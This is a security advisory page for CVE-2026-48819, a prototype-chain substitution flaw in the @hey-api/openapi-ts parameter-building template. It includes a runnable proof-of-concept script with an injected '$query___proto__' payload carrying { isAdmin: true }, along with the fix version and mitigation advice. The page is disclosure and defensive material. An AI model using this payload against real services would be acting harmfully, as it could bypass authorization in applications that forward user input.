CVE-2026-48819 is a medium-severity (CVSS 4.8) CWE-1321 vulnerability in @hey-api/openapi-ts. A fix is available for @hey-api/openapi-ts — see the affected versions and patch details below.
Hey API: `buildClientParams` template: prototype chain substitution via unknown `$<slot>___proto__` key
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-48819.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
CVE-2026-48819 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 380,066 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
@hey-api/openapi-tsnpmDescription
Summary
dist/clients/core/params.ts in @hey-api/openapi-ts ships a runtime template that is copied verbatim into every generated SDK as params.gen.ts. When a caller passes an object argument containing an unknown key starting with a slot prefix ($body_, $headers_, $path_, $query_), the function strips the prefix and writes the remainder directly to that slot without validation. The key "$query___proto__" causes the returned params.query object to have its prototype chain substituted with attacker-controlled data. The issue is present in all versions through at least 0.97.2.
Details
The vulnerable branch in dist/clients/core/params.ts:
const extra = extraPrefixes.find(([prefix]) => key.startsWith(prefix))
if (extra) {
const [prefix, slot] = extra
;(params[slot] as Record<string, unknown>)[key.slice(prefix.length)] = value
}
This branch runs for any key that (1) is not registered in the field map and (2) starts with one of the four slot prefixes. When a caller passes "$query___proto__" as an extra key alongside a legitimate field, the key is not in the field map, key.startsWith("$query_") is true, and key.slice(7) produces "__proto__". The bracket-write params["query"]["__proto__"] = value invokes the __proto__ setter, which calls Object.setPrototypeOf(params.query, value).
Reachability. Every generated endpoint method that accepts an object argument passes it through buildClientParams. If the application forwards user-supplied request parameters to a generated client method — a common pattern in proxy servers, BFF layers, and API gateways — an attacker can include "$query___proto__" alongside a legitimate field (e.g. "q"). The legitimate field ensures stripEmptySlots does not remove the affected slot (it has at least one own key), so the poisoned params.query object is returned to the caller.
Concrete field config that hey-api generates for a GET endpoint with one query param q:
// generated by hey-api for: GET /search?q=<string>
buildClientParams([parameters], [{ args: [{ in: "query", key: "q" }] }])
A request { q: "hello", "$query___proto__": { isAdmin: true } } reaches this call with "q" going to the field map branch and "$query___proto__" falling through to extraPrefixes.
PoC
npm install @hey-api/[email protected]
cp node_modules/@hey-api/openapi-ts/dist/clients/core/params.ts ./params.ts
npx tsx poc.ts
# or: docker build -t heyapi-poc . && docker run --rm heyapi-poc
poc.ts:
import { buildClientParams } from "./params.ts";
// Generated fields config for GET /search?q=<string>
const generatedFields = [{ args: [{ in: "query" as const, key: "q" }] }];
// Attacker request: legitimate "q" plus injected "$query___proto__"
const result = buildClientParams(
[{ q: "hello", "$query___proto__": { isAdmin: true } }],
generatedFields
);
const q = result.query as any;
console.log(q.q); // "hello" — own property, normal
console.log(q.isAdmin); // true — inherited via prototype chain
console.log(Object.keys(q)); // ["q"] — own keys only
for (const k in result.query) console.log(k); // "q", "isAdmin"
Expected output:
[CONFIRMED] buildClientParams prototype substitution via $query___proto__ key
Scenario: GET /search with fields [{ in:'query', key:'q' }]
Attacker request: { q: 'hello', '$query___proto__': { isAdmin: true } }
result.query.q = hello
result.query.isAdmin = true ← inherited, NOT own
Object.keys(q) = [ 'q' ]
for..in keys = q, isAdmin
Object.getPrototypeOf = {"isAdmin":true}
No sentinel key is needed. The legitimate field "q" keeps params.query alive through stripEmptySlots.
reproduce.zip
Impact
The returned params.query object has its prototype chain substituted with the attacker-supplied value. Any downstream code that iterates it with for..in (e.g., when serializing query parameters for an outgoing HTTP request) will enumerate the injected keys alongside legitimate ones. Applications that check inherited properties on the params object for routing or authorization decisions are also affected.
Global Object.prototype is not modified — impact is limited to the returned slot object and its consumers.
Every npm package generated by @hey-api/openapi-ts carries this template. Downstream packages include @opencode-ai/sdk, @trigger.dev/sdk, and others. A fix in the template propagates to all of them on regeneration.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @hey-api/openapi-ts | all versions | 0.97.3npm install @hey-api/openapi-ts@0.97.3 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @hey-api/openapi-ts, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update @hey-api/openapi-ts to 0.97.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-48819 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
Frequently Asked Questions
Is CVE-2026-48819 in your dependencies?
Find it across npm, including transitive dependencies.